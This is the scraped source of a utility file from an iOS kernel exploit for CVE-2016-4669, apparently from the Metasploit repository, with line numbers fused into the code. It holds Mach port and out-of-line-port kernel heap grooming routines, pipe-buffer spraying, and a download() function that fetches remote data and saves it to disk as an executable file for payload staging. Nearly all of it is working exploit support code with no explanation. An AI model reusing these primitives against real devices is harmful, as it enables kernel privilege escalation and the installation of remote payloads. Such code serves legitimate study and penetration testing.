Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-4669/utils.m
Views: 11779
// [1] https://github.com/externalist/exploit_playground/blob/master/empty_list/empty_list/empty_list/sploit.c1#include "utils.h"23void for_other_threads(void (^handler)(thread_act_t thread))4{5thread_act_t thread_self = mach_thread_self();6thread_act_port_array_t list;7mach_msg_type_number_t count;8kern_return_t kr = 0;910kr = task_threads(mach_task_self(), &list, &count);11if (kr != KERN_SUCCESS) {12LOG("task_threads failed");13return;14}1516for (int i=0; i<count; i++) {17if (list[i] != thread_self) {18handler(list[i]);19}20}21}2223void set_nofile_limit()24{25int ret;26struct rlimit rlim;27ret = getrlimit(RLIMIT_NOFILE, &rlim);28if (ret < 0) {29LOG("getresuid failed errno: %d", errno);30exit(-1);31}32LOG("nofile limit: %llx %llx", rlim.rlim_cur, rlim.rlim_max);3334rlim.rlim_cur = 0x2000;35ret = setrlimit(RLIMIT_NOFILE, &rlim);36if (ret < 0) {37LOG("setrlimit failed errno: %d", errno);38exit(-1);39}40LOG("set new nofile limit: %llx", rlim.rlim_cur);41}4243NSData *download_data(NSString *_url)44{45NSURL *url = [NSURL URLWithString:_url];46LOG("get %@", url);47NSData *urlData = [NSData dataWithContentsOfURL:url];48if (urlData != nil)49LOG("got remote len: %d", [urlData length]);50else51LOG("could not get %@", url);5253return urlData;54}5556int download(char *src, char *dest)57{58NSString *url = [NSString stringWithUTF8String:src];59NSData *data = download_data(url);60if (data == nil)61return -1;6263unlink(dest);64sync();6566int fd = open(dest, O_CREAT | O_RDWR,67S_IRUSR | S_IXUSR | S_IWUSR |68S_IRGRP | S_IXGRP |69S_IROTH | S_IXOTH70);71if (fd < 0) {72LOG("could not open %s", dest);73return -1;74}7576int ret = write(fd, [data bytes], [data length]);77LOG("saved to %s, write ret: %d", dest, ret);78close(fd);7980sync();8182return 0;83}8485mach_port_t alloc_port()86{87kern_return_t err;88mach_port_t port = MACH_PORT_NULL;8990err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);91if (err != KERN_SUCCESS) {92LOG("mach_port_allocate failed to allocate a port");93}9495// insert a send right:96err = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);97if (err != KERN_SUCCESS) {98LOG("mach_port_insert_right failed");99}100101return port;102}103104// Controlled kernel memory allocations used below105// are taken from [1] and described there in great details.106typedef struct107{108mach_msg_header_t hdr;109mach_msg_body_t body;110mach_msg_ool_ports_descriptor_t ool_ports;111uint8_t pad[0x200];112} kalloc_mach_msg_t;113114kern_return_t kalloc_ool_ports(mach_port_t port, mach_port_t ool_port, size_t cnt)115{116kern_return_t err;117kalloc_mach_msg_t kalloc_msg = {0};118uint32_t msg_size = sizeof(kalloc_msg);119// send a message with two OOL NULL ports; these will end up in a kalloc.16:120121kalloc_msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);122kalloc_msg.hdr.msgh_size = msg_size; //sizeof(struct kalloc_16_send_msg);123kalloc_msg.hdr.msgh_remote_port = port;124kalloc_msg.hdr.msgh_local_port = MACH_PORT_NULL;125kalloc_msg.hdr.msgh_id = 0x41414141;126127kalloc_msg.body.msgh_descriptor_count = 1;128mach_port_t ports[cnt];129for (int i=0; i<cnt; i++) {130ports[i] = ool_port;131}132133kalloc_msg.ool_ports.address = ports;134kalloc_msg.ool_ports.count = cnt;135kalloc_msg.ool_ports.deallocate = 0;136kalloc_msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;137kalloc_msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;138kalloc_msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;139140err = mach_msg(&kalloc_msg.hdr,141MACH_SEND_MSG|MACH_MSG_OPTION_NONE,142(mach_msg_size_t)msg_size,1430,144MACH_PORT_NULL,145MACH_MSG_TIMEOUT_NONE,146MACH_PORT_NULL);147148if (err != KERN_SUCCESS) {149LOG("sending kalloc.8 message failed %s\n", mach_error_string(err));150}151152return err;153}154155kern_return_t kalloc_page_ool_ports(mach_port_t port)156{157return kalloc_ool_ports(port, MACH_PORT_NULL, PAGE_SIZE/4);158}159160kern_return_t kalloc_8_ool_ports(mach_port_t port, mach_port_t ool_port)161{162return kalloc_ool_ports(port, ool_port, 2);163}164165void discard_message(mach_port_t port)166{167static int8_t msg_buf[0x4000];168mach_msg_header_t* msg = (mach_msg_header_t*)msg_buf;169kern_return_t err;170err = mach_msg(msg,171MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, // no timeout1720,173sizeof(msg_buf),174port,1750,1760);177if (err != KERN_SUCCESS){178LOG("error receiving on port: %s\n", mach_error_string(err));179}180181mach_msg_destroy(msg);182}183184void hexdump(void *ptr, size_t n)185{186uint32_t *u32 = ptr;187188for (int i=0; i<n; i+=2) {189LOG("%08X %08X", u32[i], u32[i+1]);190}191}192193int pipe_create(int fds[2])194{195int ret = pipe(fds);196if (ret < 0) {197LOG("pipe allocation failed errno: %d", errno);198return -1;199}200201return 0;202}203204int pipe_alloc(int fds[2], void *buf, size_t size)205{206int ret = write(fds[1], buf, size);207if (ret < 0) {208LOG("pipe write failed, fd: %d, errno: %d", fds[1], errno);209return -1;210}211212return 0;213}214215void pipes_close(int *pipes, size_t count)216{217for (int i=0; i<count; i++) {218if (pipes[i*2] != -1) {219close(pipes[i*2]);220close(pipes[i*2+1]);221}222}223}224225int pipes_create(int *pipes, size_t count)226{227for (int i=0; i<count; i++) {228if (pipe_create(&pipes[i*2]) < 0) {229return -1;230}231}232233return 0;234}235236int pipes_alloc(int *pipes, size_t count, char *pipe_buf)237{238for (int i=0; i<count; i++) {239if (pipe_alloc(&pipes[i*2], pipe_buf, PAGE_SIZE-1) < 0) {240LOG("pipe alloc failed at %d", i);241return -1;242}243}244245return 0;246}247248249250